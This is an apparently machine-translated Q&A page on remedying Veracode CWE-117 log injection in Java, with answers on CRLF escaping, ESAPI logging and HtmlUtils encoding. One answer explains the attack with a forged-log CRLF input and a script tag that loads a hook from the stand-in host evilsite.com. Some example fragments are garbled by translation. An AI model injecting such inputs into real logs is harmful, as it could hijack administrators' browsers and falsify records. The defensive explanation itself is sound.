如何修复Veracode CWE 117(日志的输出中和不正确)

2022-09-02 03:43:43

有一个Spring全局方法可以记录这样的异常:@ExceptionHandler(Exception.class)

@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
    logger.error("Simple error message", ex);
...

Veracode扫描说这个日志记录已经并建议使用ESAPI记录器。有没有办法在不将记录器更改为ESAPI的情况下修复此漏洞?这是我在代码中遇到此问题的唯一位置,我试图弄清楚如何用最少的更改来修复它。也许ESAPI有一些我没有注意到的方法?Improper Output Neutralization for Logs

P.S. 当前记录器是 Log4j over slf4j

UPD:最后,我使用了ESAPI记录器。我以为它不会使用我的默认日志记录服务,但我错了,它只是使用我的slf4j记录器界面和适当的配置。

private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);

ESAPI扩展了log4j记录器和记录器工厂。可以配置在 ESAPI.properties 中使用的内容。例如:

ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory

答案 1

有没有办法在不将记录器更改为ESAPI的情况下修复此漏洞?

简而言之,是的。

TLDR:

首先了解错误的严重性。主要问题是伪造日志语句。假设你有这样的代码:

log.error( transactionId + " for user " + username + " was unsuccessful."

如果任一变量都在用户控制之下,他们可以通过使用输入来注入错误的日志记录语句,从而允许他们伪造日志并掩盖其踪迹。(好吧,在这个人为的案例中,只是让它更难看到发生了什么。\r\n for user foobar was successful\rn

第二种攻击方法更像是国际象棋的招式。许多日志采用HTML格式,可以在另一个程序中查看,对于此示例,我们将假装日志是要在浏览器中查看的HTML文件。现在我们注入,你将挂上一个浏览器与一个利用框架,这个框架最有可能作为服务器管理员执行...因为怀疑首席执行官是否会读取日志。现在真正的黑客可以开始了。<script src=”https://evilsite.com/hook.js” type=”text/javascript”></script>

防御:

一个简单的防御方法是确保所有带有 userinput 的日志语句都使用明显的内容(如“֎”)转义字符“\n”和“\r”,或者您可以执行 ESAPI 执行的操作并使用下划线进行转义。只要它一致就无关紧要,只要记住不要在日志中使用会混淆你的字符集。类似的东西userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

我还发现确保日志格式被精美地指定是很有用的......这意味着您确保对日志语句需要的外观有严格的标准,并构建您的格式,以便更容易捕获恶意用户。所有程序员必须提交到聚会并遵循格式!

为了防御HTML场景,我会使用[OWASP编码器项目][1]

至于为什么建议ESAPI的实现,它是一个非常经过实战考验的库,但简而言之,这基本上就是我们所做的。请参阅代码:

/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the {@code Throwable} from which to generate an exception stack trace.
 */
private void log(Level level, EventType type, String message, Throwable throwable) {

    // Check to see if we need to log.
    if (!isEnabledFor(level)) {
        return;
    }

    // ensure there's something to log
    if (message == null) {
        message = "";
    }

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) {
            clean += " (Encoded)";
        }
    }

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) {
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    }
    if (logAppName) {
        appInfo.append("/").append(applicationName);
    }
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) {
        typeInfo += type + " ";
    }

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}

见第398-453行。这就是ESAPI提供的所有转义。我建议也复制单元测试。

[免责声明]:我是ESAPI的项目联合负责人。

[1]:https://www.owasp.org/index.php/OWASP_Java_Encoder_Project,并确保在记录语句时输入正确编码 - 每一位都与将输入发送回用户时一样多。


答案 2

我是Veracode的新手,面对的是CWE-117。我理解这个错误是由Veracode引起的,当你的记录器语句有可能通过传入的恶意请求的参数值受到攻击时。因此,我们需要从记录器语句中使用的变量中删除 /r 和 /n (CRLF)。

大多数新手会想知道应该使用什么方法来从记录器语句中传递的变量中删除CRLF。有时 replaceAll() 也不起作用,因为它不是 Veracode 批准的方法。因此,这里是Veracode批准的方法的链接,用于处理CWE问题。https://help.veracode.com/reader/4EKhlLSMHm5jC8P8j3XccQ/IiF_rOE79ANbwnZwreSPGA

在我的情况下,我使用了上面链接中提到的org.springframework.web.util.HtmlUtils.htmlEscape,它解决了这个问题。

private static final Logger LOG = LoggerFactory.getLogger(MemberController.class);
//problematic logger statement 
LOG.info("brand {}, country {}",brand,country);
//Correct logger statement
LOG.info("brand {}, country {}",org.springframework.web.util.HtmlUtils.htmlEscape(brand),org.springframework.web.util.HtmlUtils.htmlEscape(country));

推荐